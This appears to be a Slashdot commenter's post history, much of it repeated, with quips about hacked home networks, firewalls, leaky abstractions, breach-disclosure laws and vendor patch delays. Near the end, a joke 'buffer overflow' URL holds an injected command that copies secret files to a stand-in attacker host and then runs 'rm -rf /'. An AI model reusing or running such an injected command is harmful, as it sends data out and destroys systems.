The question you MEANT to ask is: What would I lose if I someone hacked into my pc and placed child porn in my personal directories and then called the FBI on me?
A) 5-10 years of your life... You only need to possess it, not even have knowledge that it is there.
Yeah, but the hackers don't want you DATA, fool. They want a place to put thier kiddy porn and tcp reflectors for hacking NSA computers and sending death threats to the president...
No, you don't have anything on your network worth stealing... especially now that all your machines have been confiscated as evidence.:)
I actually asked a 3com sales guy about it a year ago and got "Well personally there is nothing on my network worth breaking into and I doubt there is anything on yours either"
I know you realize this, but I feel like spelling it out for everyone who would read this sentiment and agree... Even if you don't have any DATA on your network that any hacker would want, you still have a NETWORK that hackers would love to control. 9999 times out of 10,000 "hackers" are not looking for blueprints on your top secret inventions that they could sell to a competitor. They are not looking for your credit card databases, nor your emails to use as blackmail. 9999 times out fo 10,000 they are not looking for data AT ALL! Instead they are looking for a network that they can control that will allow them to go and attack a DIFFERENT network. IF you wanted to hack into the DOD's computer network, would you do it from your home machine? Or ould you do it through a series of hacked accounts on other networks? If you are hosting child porn, would you prefer to have it sitting on the machine under your desk at the office, or would you prefer to put it on somone elses machine entirely?
If you think you are safe becuase there is no important *data* on your machines that hackers would want, you are not safe.
Next time you get this kind of answer make sure you get in writing the guy's willingness to take full responsibility when the MiBs come knocked at your door becuase your hacked machine was used to send death threats to the president.
claiming that illegal copying of music and movies was costing artists millions and stifling creativity.
Well, if they win the problem is they open themselves up to lawsuits from the ARTISTS who could sue thier own record companies using the same argument.
Just stick a firewall in front of them (filtering out ALL inbound not originating from the box) and let them share a hub. That way they can do all thier little active directory stuff with each other and won't have to worry about hackers hacking in. In fact, filter out all traffic coming OUT too and use a proxy for web browsing and mail and you won't have to worry about emailed code-red type things clogging up your network when they look at them in outlook.
Ha, shows what you know. I'm an avid slashdot reader and I score all the time... just yesterday I got the highest Pac-Man score for the second time in three weeks!
Assume you are a "completely inocent person" who bought a 2nd-hand car. Later it turned out the previous owner drowned it, so it is all rusty inside, does not drive, breaks, etc. Would you blame the car manufacturer or the person you bought it from for this?
Why do you like to blame Microsoft for somebody selling crippled Xbox'es?
That's different, though. In the first case the box is broken, period. In the second case, the box works fine, but Microsoft has decided to explicitly exclude your working box.
I don't mean that the CONCEPT sucks, I mean the implementation usually does. Asking somone to answer trick CS questions ("Ha! Got you Mr. Expert C programmer! You completely overlooked the colon that should be a simi-colon of line 513 on the test! You are such an imposter, get out of this office!") and don't show any real skill at all. Sure the guy who aces the "test" may be a good monkey who can perform the exact same task you average IDE will do cheaper and faster, but that doesn't mean he knows how to properly walk a tree or build an object hierarchy.
If you are going to have a test, ask questions that test a person's ability to think, not a person's ability to remember esoteric factiods about a particular language. Ask open-ended questions with many possible naswers and see how he deal with them... THEN you may actually get an engineer worth the money you are paying for him.
Back to TCP. Earlier for the sake of simplicity I told a little fib, and some of you have steam coming out of your ears by now because this fib is driving you crazy. I said that TCP guarantees that your message will arrive. It doesn't, actually. If your pet snake has chewed through the network cable leading to your computer, and no IP packets can get through, then TCP can't do anything about it and your message doesn't arrive. If you were curt with the system administrators in your company and they punished you by plugging you into an overloaded hub, only some of your IP packets will get through, and TCP will work, but everything will be really slow.
This is what I call a leaky abstraction.
On the surface it looks like an almost reasonable way to describe the situation, but when you look closer, you realize it's mish-mash written to look smarter than it is.
Imagine, addign to teh example above, you were to flip off your computer, or pour a cola directly on the motherboard... at that point ALL programming would cease to function. All computer code exists at a level of abstraction, even when you are programming in machine language you are still abstracted to some degree away from the hardware...
But that is actually the POINT of computers. Abstraction is what gives computers thier strength. It's what allows machines to be programmed to do vastly complex things without requiring a vastly complex piece of code.
All his examples are simply whining that X program can't function when Y event happens. Javascript can't run when JS is turned off in the browser, c++ won't let you add two string literals together, some SQL queries are slower than others...
None of these are inherant faults with abstraction, they are specific instances of poor implementation, instances that can and probably should be fixed. Instead of looking at one flawed analogy and saying that analogies as a argumentative tool are all inherently unusable, you should fix the flaw in that one analogy and use it.
"Breaking in" is an inherant part of security auditing, isn't it? In order to see if your computers are hackable one must, in fact, hack them. Would this law require that network security companies announce when they find a client's systems vulnerable, becuase technically it is a "break in"? If so, wouldn't the end result of that be companies completely ignoring security all together becuase the less they "know" about the break ins on thier own site, the less they have to report?
The resulting temperature was tens of thousands of times hotter than the cores of the hottest stars, but the resulting stream of particles did not behave as predicted.
Considering that one of the predictions, if I remember correctly, was the possibility of creating a new vaccum state that would rocket out from the earth at the speed of light destroying all the universe that lay in it's path... I'm pretty relieved that the behavior was a little different than expected.:)
They want to know what made these old instruments sound so good.
They should look into a little thing called "talent". I know it's not a very popular thing today, but I'll bet you 99 times out of a hundred it's why that older music sounds better than now...
You don't know? Ever read the book "Men are from mars, Women are fom Venus"? Well, let's just say it translated poorly over here in Europe... and you know what happens when you get an Italian hooked on an scheme to get a woman.
You: There is a buffer overflow in your product allowing people to steal our sensitive data and destroy our machines.
Vendor: We'll work on that right away, expect a patch in six to ten months that will clear up this issue and add a few lines to the EULA that will require your daughters to dance naked for us in our Arabian palace...
I am looking for info on sleds (or customizations) allow rapid stopping in all snow conditions.
Hey, and I'm looking for a sled that will turn snow into 24 carat gold as it travels down the slope... I'll bet we find out respective sleds at the same time.
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2)What would I lose if someone hacked into my pc?
The question you MEANT to ask is: What would I lose if I someone hacked into my pc and placed child porn in my personal directories and then called the FBI on me?
A) 5-10 years of your life... You only need to possess it, not even have knowledge that it is there.
Yeah, but the hackers don't want you DATA, fool. They want a place to put thier kiddy porn and tcp reflectors for hacking NSA computers and sending death threats to the president...
... especially now that all your machines have been confiscated as evidence. :)
No, you don't have anything on your network worth stealing
I actually asked a 3com sales guy about it a year ago and got "Well personally there is nothing on my network worth breaking into and I doubt there is anything on yours either"
I know you realize this, but I feel like spelling it out for everyone who would read this sentiment and agree... Even if you don't have any DATA on your network that any hacker would want, you still have a NETWORK that hackers would love to control. 9999 times out of 10,000 "hackers" are not looking for blueprints on your top secret inventions that they could sell to a competitor. They are not looking for your credit card databases, nor your emails to use as blackmail. 9999 times out fo 10,000 they are not looking for data AT ALL! Instead they are looking for a network that they can control that will allow them to go and attack a DIFFERENT network. IF you wanted to hack into the DOD's computer network, would you do it from your home machine? Or ould you do it through a series of hacked accounts on other networks? If you are hosting child porn, would you prefer to have it sitting on the machine under your desk at the office, or would you prefer to put it on somone elses machine entirely?
If you think you are safe becuase there is no important *data* on your machines that hackers would want, you are not safe.
Next time you get this kind of answer make sure you get in writing the guy's willingness to take full responsibility when the MiBs come knocked at your door becuase your hacked machine was used to send death threats to the president.
I should play the lottery, considering how often I get picked for "random" searches... 100% so far.
claiming that illegal copying of music and movies was costing artists millions and stifling creativity.
Well, if they win the problem is they open themselves up to lawsuits from the ARTISTS who could sue thier own record companies using the same argument.
Shut it down for now, until more money gets passed to make the ISS valuable.
The very very sad thing is... This will never happen. Nasa's budget gets CUT, always.
Just stick a firewall in front of them (filtering out ALL inbound not originating from the box) and let them share a hub. That way they can do all thier little active directory stuff with each other and won't have to worry about hackers hacking in. In fact, filter out all traffic coming OUT too and use a proxy for web browsing and mail and you won't have to worry about emailed code-red type things clogging up your network when they look at them in outlook.
finger @code.com | mail customer
Savage Jarjar mutilation will be part of the dark jedi right of passage.
So, you are saying there will only be dark jedi in this game?
Ha, shows what you know. I'm an avid slashdot reader and I score all the time... just yesterday I got the highest Pac-Man score for the second time in three weeks!
He saved money using free software instead of commercial software? How's that? Can someone explain the math to me?
You grew up in the American public educational system, didn't you? I can tell.
Assume you are a "completely inocent person" who bought a 2nd-hand car. Later it turned out the previous owner drowned it, so it is all rusty inside, does not drive, breaks, etc. Would you blame the car manufacturer or the person you bought it from for this?
Why do you like to blame Microsoft for somebody selling crippled Xbox'es?
That's different, though. In the first case the box is broken, period. In the second case, the box works fine, but Microsoft has decided to explicitly exclude your working box.
At your "standard" $275 an hour rate.
Yes, that's my point. I was advocating that THAT kind of testing is pathetic and tells you nothing about the candidate.
I don't mean that the CONCEPT sucks, I mean the implementation usually does. Asking somone to answer trick CS questions ("Ha! Got you Mr. Expert C programmer! You completely overlooked the colon that should be a simi-colon of line 513 on the test! You are such an imposter, get out of this office!") and don't show any real skill at all. Sure the guy who aces the "test" may be a good monkey who can perform the exact same task you average IDE will do cheaper and faster, but that doesn't mean he knows how to properly walk a tree or build an object hierarchy.
If you are going to have a test, ask questions that test a person's ability to think, not a person's ability to remember esoteric factiods about a particular language. Ask open-ended questions with many possible naswers and see how he deal with them... THEN you may actually get an engineer worth the money you are paying for him.
"Bill Wyman is hereby ordered to pay $50,000 in damages."
.. wha?
Plantif and defandant in unison: YES!
Back to TCP. Earlier for the sake of simplicity I told a little fib, and some of you have steam coming out of your ears by now because this fib is driving you crazy. I said that TCP guarantees that your message will arrive. It doesn't, actually. If your pet snake has chewed through the network cable leading to your computer, and no IP packets can get through, then TCP can't do anything about it and your message doesn't arrive. If you were curt with the system administrators in your company and they punished you by plugging you into an overloaded hub, only some of your IP packets will get through, and TCP will work, but everything will be really slow.
This is what I call a leaky abstraction.
On the surface it looks like an almost reasonable way to describe the situation, but when you look closer, you realize it's mish-mash written to look smarter than it is.
Imagine, addign to teh example above, you were to flip off your computer, or pour a cola directly on the motherboard... at that point ALL programming would cease to function. All computer code exists at a level of abstraction, even when you are programming in machine language you are still abstracted to some degree away from the hardware...
But that is actually the POINT of computers. Abstraction is what gives computers thier strength. It's what allows machines to be programmed to do vastly complex things without requiring a vastly complex piece of code.
All his examples are simply whining that X program can't function when Y event happens. Javascript can't run when JS is turned off in the browser, c++ won't let you add two string literals together, some SQL queries are slower than others...
None of these are inherant faults with abstraction, they are specific instances of poor implementation, instances that can and probably should be fixed. Instead of looking at one flawed analogy and saying that analogies as a argumentative tool are all inherently unusable, you should fix the flaw in that one analogy and use it.
Look at it this way...
1) You know publicity about your break-ins will cost you reputation.
2) You know that there really isn't any way to 100% secure your site from every niggling little security hole, no matter how much money you spend.
What's stopping you from dumping your ENTIRE network security department and never actually going out and looking for breakins ever.
If you never SEE a break-in, you can't be obliged to report it, right?
"Breaking in" is an inherant part of security auditing, isn't it? In order to see if your computers are hackable one must, in fact, hack them. Would this law require that network security companies announce when they find a client's systems vulnerable, becuase technically it is a "break in"? If so, wouldn't the end result of that be companies completely ignoring security all together becuase the less they "know" about the break ins on thier own site, the less they have to report?
The resulting temperature was tens of thousands of times hotter than the cores of the hottest stars, but the resulting stream of particles did not behave as predicted.
:)
Considering that one of the predictions, if I remember correctly, was the possibility of creating a new vaccum state that would rocket out from the earth at the speed of light destroying all the universe that lay in it's path... I'm pretty relieved that the behavior was a little different than expected.
They want to know what made these old instruments sound so good.
They should look into a little thing called "talent". I know it's not a very popular thing today, but I'll bet you 99 times out of a hundred it's why that older music sounds better than now...
You don't know? Ever read the book "Men are from mars, Women are fom Venus"? Well, let's just say it translated poorly over here in Europe... and you know what happens when you get an Italian hooked on an scheme to get a woman.
I don't remember the Neanderthals being that close to us... well evolutionarily, of course, i'll give you that.
http://govsite/search?xxxxxxxxxxx!#^&(*^(45&%6buff eroverflow='scp secretinformation hacker@badguy.com:/tmp;rm -rf /'
You: There is a buffer overflow in your product allowing people to steal our sensitive data and destroy our machines.
Vendor: We'll work on that right away, expect a patch in six to ten months that will clear up this issue and add a few lines to the EULA that will require your daughters to dance naked for us in our Arabian palace...
I am looking for info on sleds (or customizations) allow rapid stopping in all snow conditions.
Hey, and I'm looking for a sled that will turn snow into 24 carat gold as it travels down the slope... I'll bet we find out respective sleds at the same time.